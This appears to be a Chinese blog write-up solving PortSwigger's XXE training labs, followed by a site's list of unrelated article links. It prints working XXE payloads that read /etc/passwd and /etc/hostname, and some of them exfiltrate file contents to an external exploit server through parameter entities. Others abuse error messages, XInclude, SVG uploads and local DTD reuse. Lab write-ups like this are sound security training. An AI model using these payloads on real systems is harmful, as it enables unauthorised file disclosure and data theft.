当前位置: 首页 > news >正文

portswigger labs XXE漏洞利用实战

lab1 利用外部实体注入获取文件

解决此 lab 需要读取到/etc/passwd

<!DOCTYPE test [
<!ENTITY cmd SYSTEM "file:///etc/passwd">
]>
<productId>&cmd;</productId>

lab2 利用 XXE 执行 SSRF 攻击

通过构造 xxe 请求特定的 url 获取目录

拼接后继续请求

依次拼接得到的目录,最后拿到凭证

lab3 外带数据 xxe

lab4 使用参数实体的外带数据 XXE

lab5 利用 XXE 外带窃取数据

lab 指定窃取数据为/etc/hostname

存储到漏洞服务器 store 下面的内容

<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#37; getfile SYSTEM 'http://burp/?x=%file;'>">
%eval;
%getfile;
]>

漏洞利用服务器中的 url 如下

https://exploit-0a550008042988b880b170af01880017.exploit-server.net/exploit

check stock 抓包,添加如下 xxe 语句

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a550008042988b880b170af01880017.exploit-server.net/exploit"> %xxe;]>

lab6 利用盲XXE通过错误消息检索数据

漏洞服务器存储下列内容

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#37; getfile SYSTEM 'file:///invalid/%file;'>">
%eval;
%getfile;

查看漏洞,漏洞 url

https://exploit-0a0d008204c5473da34958a801bb0074.exploit-server.net/exploit

lab7 利用XInclude检索文件

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

XInclude是W3C标准,用于实现XML文档的模块化,允许通过<xi:include>元素动态引入其他文件的内容。其核心属性包括:

href:指定要包含的文件路径(支持file://http://等协议)。

parse:控制包含方式,parse="text"表示以纯文本形式直接嵌入内容,不解析为XML结构

lab8 通过图像文件上传利用XXE

将下列内容保存为 1.svg 格式

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

通过留言板中上传头像

留言成功后可以通过查看头像显示的内容获取到 hostname

lab9 通过重用本地 DTD 利用 XXE 检索数据

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

http://www.dtcms.com/a/347308.html

相关文章:

  • 一次转向:从 当前讨论到 拼PIN语言的拼块语言理论体系
  • 嵌入式软件/硬件工程师面试题集
  • 从观众席到股东席,何猷君成NBA凯尔特人新Co-owner
  • 网址账号正确,密码错误返回的状态码是多少
  • Java基础面试题(04)—Java(Java中String StringBuffer 和 StringBuilder的区别)
  • 山西某焦化厂炼焦区电气维护系统无线传输解决方案实施案例
  • Mangio RVC Fork 本地部署(Cuda12.9)
  • 蓝牙aoa仓库管理系统功能介绍
  • 有哪些Spring Boot微服务架构成功落地的案例?
  • GitHub发布革命性工具:GitHub Spark,用自然语言打造全栈智能应用
  • yolo命令行-训练篇(三)
  • Android安卓学习日志1 聊一聊安卓的历史和笔者的想法
  • 微服务统一入口——Gateway
  • 航空复杂壳体零件深孔检测方法 - 激光频率梳 3D 轮廓检测
  • 把 AI 塞进「自行车码表」——基于 MEMS 的 3D 地形预测码表
  • 基础IO
  • electron进程间通信-IPC通信注册机制
  • SAP FI 应收应付账龄分析
  • MySQL 锁的详解:从 InnoDB 到死锁诊断实战
  • Hive Metastore和Hiveserver2启停脚本
  • 爱普生打印机的使用
  • day40-tomcat
  • UE C++ 堆化
  • 【卫星通信】超低码率语音编码ULBC:EnCodec神经音频编解码器架构深度解析
  • 随机森林2——集成学习的发展
  • TCP:传输控制协议
  • JAVA核心基础篇-递归
  • C 语言标准输入输出头文件stdio.h及其常见用法
  • 【读论文】Qwen-Image技术报告解读
  • 云原生高级——K8S总概